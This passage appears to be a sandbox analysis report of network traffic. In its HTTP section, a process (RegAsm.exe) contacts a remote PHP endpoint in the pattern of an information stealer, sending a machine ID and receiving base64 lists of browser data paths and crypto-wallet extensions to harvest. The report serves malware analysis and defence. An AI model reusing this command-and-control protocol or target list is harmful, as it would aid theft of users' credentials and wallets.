Sep 11, 2024 22:52:16.086220026 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.086251020 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.086256027 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.086278915 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.086312056 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.086781025 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.086795092 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.086834908 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.086838961 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.086864948 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.086883068 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.096316099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:16.096390009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:16.112660885 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.112680912 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.112747908 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.112765074 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.112792969 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.112809896 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.113159895 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.113174915 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.113218069 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.113229036 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.113256931 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.113279104 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.124757051 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.124771118 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.124816895 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.124828100 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.124865055 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.124865055 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.125888109 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.125900984 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.125956059 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.125967979 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.126015902 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.126447916 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.126461983 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.126513958 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.126524925 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.126552105 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.126570940 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.127823114 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.127839088 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.127897978 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.127912998 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.127944946 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.127984047 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.129084110 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.129096985 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.129139900 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.129151106 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.129177094 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.129194021 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.129559994 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.129575014 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.129616022 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.129626989 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.129652977 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.129669905 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.223731041 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.223745108 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.223792076 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.223803997 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.223830938 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.223866940 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.224112988 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.224127054 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.224167109 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.224195957 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.224222898 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.224241972 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.230993986 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.231008053 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.231056929 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.231069088 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.231095076 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.231115103 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.231462955 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.231476068 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.231522083 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.231533051 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.231560946 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.231578112 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.231734037 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.231746912 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.231787920 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.231798887 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.231837988 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.231929064 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.232208967 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.232223034 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.232265949 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.232279062 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.232327938 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.232573986 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.232588053 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.232628107 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.232640028 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.232666016 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.232681990 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.233040094 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.233057976 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.233098030 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.233109951 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.233135939 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.233153105 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.311203003 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.311218023 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.311264992 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.311275959 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.311302900 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.311320066 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.311748981 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.311763048 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.311806917 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.311817884 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.311847925 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.311871052 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.318316936 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.318331003 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.318373919 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.318383932 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.318413019 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.318433046 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.318439007 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.318448067 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.318490028 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.318500996 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.318533897 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.318561077 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.318591118 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.319093943 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.319123983 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.603585958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:16.603945017 CEST	49735	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:16.609749079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:16.609791994 CEST	80	49735	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:16.609869957 CEST	49735	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:16.610018969 CEST	49735	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:16.615334034 CEST	80	49735	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:17.561827898 CEST	80	49735	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:17.561897993 CEST	49735	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:19.803570986 CEST	49735	80	192.168.2.4	45.152.113.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 11, 2024 22:52:11.247570992 CEST	53654	53	192.168.2.4	1.1.1.1
Sep 11, 2024 22:52:11.262111902 CEST	53	53654	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 11, 2024 22:52:11.247570992 CEST	192.168.2.4	1.1.1.1	0x7a8	Standard query (0)	evokeedgellc.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 11, 2024 22:52:11.262111902 CEST	1.1.1.1	192.168.2.4	0x7a8	No error (0)	evokeedgellc.com		198.54.120.231	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

evokeedgellc.com

45.152.113.10

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	45.152.113.10	80	7728	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:52:01.152473927 CEST	88	OUT	GET / HTTP/1.1 Host: 45.152.113.10 Connection: Keep-Alive Cache-Control: no-cache
Sep 11, 2024 22:52:01.689771891 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 11, 2024 22:52:01.693089962 CEST	414	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFH Host: 45.152.113.10 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 37 41 35 38 30 46 36 42 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="hwid"A7A580F6B7411176838713------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="build"default------JJECGCBGDBKJJKEBFBFH--
Sep 11, 2024 22:52:01.856161118 CEST	407	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 49 34 4d 57 4d 31 4f 54 64 6d 5a 6a 41 7a 59 7a 6c 6d 59 57 4a 68 4f 54 64 6b 5a 6a 4e 6b 4f 57 4a 68 5a 6d 4e 68 59 7a 63 79 5a 57 4e 69 59 54 68 69 59 6a 4d 30 5a 6d 52 69 5a 47 51 30 5a 44 4e 6b 59 6a 51 30 4e 54 4d 33 4d 47 4e 6d 4d 7a 56 6a 4e 7a 42 6d 4d 6d 49 35 5a 54 68 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 42 38 4d 48 77 77 66 44 42 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjI4MWM1OTdmZjAzYzlmYWJhOTdkZjNkOWJhZmNhYzcyZWNiYThiYjM0ZmRiZGQ0ZDNkYjQ0NTM3MGNmMzVjNzBmMmI5ZThlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDB8MHwwfDB8MXwwfHlibmNiaHlsZXBtZXw=
Sep 11, 2024 22:52:01.857570887 CEST	468	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIECGCAEBFIIDHIDGIE Host: 45.152.113.10 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 2d 2d 0d 0a Data Ascii: ------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="message"browsers------DHIECGCAEBFIIDHIDGIE--
Sep 11, 2024 22:52:01.999231100 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1460 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 11, 2024 22:52:01.999269962 CEST	452	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 11, 2024 22:52:02.007606983 CEST	467	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFI Host: 45.152.113.10 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="message"plugins------IJKKEHJDHJKFIECAAKFI--
Sep 11, 2024 22:52:02.142142057 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 20:52:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
